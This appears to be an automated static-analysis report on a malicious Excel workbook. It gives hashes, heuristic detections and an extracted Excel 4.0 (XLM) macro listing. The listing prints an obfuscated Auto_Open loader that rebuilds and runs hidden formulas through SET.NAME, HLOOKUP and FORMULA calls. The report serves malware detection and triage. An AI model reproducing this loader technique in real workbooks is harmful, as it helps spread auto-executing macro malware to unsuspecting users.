Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3e6b7d653af15f97…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:28:52 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 248db5be1d228a41495218fef2dc452f SHA-1: 93b169f8f787f4c6612dca9ee8d1f71c3cbdf64f SHA-256: 3e6b7d653af15f97a5e26823ed99f6b0bac6d5ebb812c4218dbb9e7929989d37
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6652 bytes
SHA-256: 5f15350e3d5979c33f2bef2d101233593434173c0c6fc0bf72080d540d0fc8b2
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  XDiTnrZFDI
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I187 
' 0018     26 LABEL : Cell Value, String Constant - bthJEUhrkpU len=0 
' 0018     23 LABEL : Cell Value, String Constant - BUuiUPBG len=0 
' 0018     26 LABEL : Cell Value, String Constant - DyGwwzdqepd len=0 
' 0018     21 LABEL : Cell Value, String Constant - eSDwWu len=0 
' 0018     26 LABEL : Cell Value, String Constant - euEhauaWTcU len=0 
' 0018     23 LABEL : Cell Value, String Constant - euRVPbbD len=0 
' 0018     20 LABEL : Cell Value, String Constant - IXhNu len=0 
' 0018     26 LABEL : Cell Value, String Constant - jEKrnxefkLL len=0 
' 0018     25 LABEL : Cell Value, String Constant - jFTweCeQCP len=0 
' 0018     26 LABEL : Cell Value, String Constant - KNoPdOoKqCc len=0 
' 0018     24 LABEL : Cell Value, String Constant - kzeHsLCFh len=0 
' 0018     22 LABEL : Cell Value, String Constant - psQDYtq len=0 
' 0018     23 LABEL : Cell Value, String Constant - QctDwyXq len=0 
' 0018     21 LABEL : Cell Value, String Constant - rbiKiT len=0 
' 0018     24 LABEL : Cell Value, String Constant - rusPUyhjJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - VEcMIuYVCZH len=0 
' 0018     27 LABEL : Cell Value, String Constant - VVFtVpQuWkqj len=0 
' 0018     25 LABEL : Cell Value, String Constant - zbQfGvfWid len=0 
' 0018     22 LABEL : Cell Value, String Constant - Ziykqoe len=0 
' 0018     25 LABEL : Cell Value, String Constant - zRDzMkwYad len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  XDiTnrZFDI,I88,"SET.NAME("euRVPbbD",VALUE("0"))",""
'  XDiTnrZFDI,I93,"SET.NAME("QctDwyXq",euRVPbbD)",""
'  XDiTnrZFDI,I98,"SET.NAME("zRDzMkwYad",euRVPbbD)",""
'  XDiTnrZFDI,I101,"SET.NAME("jFTweCeQCP",COUNTA(bthJEUhrkpU))",""
'  XDiTnrZFDI,I106,"SET.NAME("psQDYtq",COUNTA(rbiKiT))",""
'  XDiTnrZFDI,I110,[],""
'  XDiTnrZFDI,I114,"SET.NAME("VVFtVpQuWkqj","")",""
'  XDiTnrZFDI,I117,"QctDwyXq",""
'  XDiTnrZFDI,I122,"SET.NAME("eSDwWu",HLOOKUP("*",bthJEUhrkpU,QctDwyXq,FALSE))",""
'  XDiTnrZFDI,I127,"IXhNu",""
'  XDiTnrZFDI,I130,"SET.NAME("zbQfGvfWid",euRVPbbD)",""
'  XDiTnrZFDI,I134,[],""
'  XDiTnrZFDI,I139,"zbQfGvfWid",""
'  XDiTnrZFDI,I143,"VEcMIuYVCZH",""
'  XDiTnrZFDI,I146,"BUuiUPBG",""
'  XDiTnrZFDI,I151,"KNoPdOoKqCc",""
'  XDiTnrZFDI,I154,"SET.NAME("kzeHsLCFh",VALUE(HLOOKUP("*",rbiKiT,KNoPdOoKqCc,FALSE)))",""
'  XDiTnrZFDI,I159,"rusPUyhjJ",""
'  XDiTnrZFDI,I163,"VVFtVpQuWkqj",""
'  XDiTnrZFDI,I165,"zRDzMkwYad",""
'  XDiTnrZFDI,I170,NEXT(),""
'  XDiTnrZFDI,I173,"jEKrnxefkLL",""
'  XDiTnrZFDI,I176,"SET.NAME("f",INT(T(FORMULA(T(VVFtVpQuWkqj)&"",""&T(jEKrnxefkLL)))))",""
'  XDiTnrZFDI,I180,"Ziykqoe",""
'  XDiTnrZFDI,I182,NEXT(),""
'  XDiTnrZFDI,I185,RETURN(),""
'  XDiTnrZFDI,I210,"SET.NAME("DyGwwzdqepd",I88)",""
'  XDiTnrZFDI,I212,"bthJEUhrkpU",""
'  XDiTnrZFDI,I216,"SET.NAME("rbiKiT",R43C15)",""
'  XDiTnrZFDI,I218,"SET.NAME("Ziykqoe",225)",""
'  XDiTnrZFDI,I221,"SET.NAME("euEhauaWTcU",9)",""
'  XDiTnrZFDI,I224,DyGwwzdqepd(),""
'  XDiTnrZFDI,I225,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.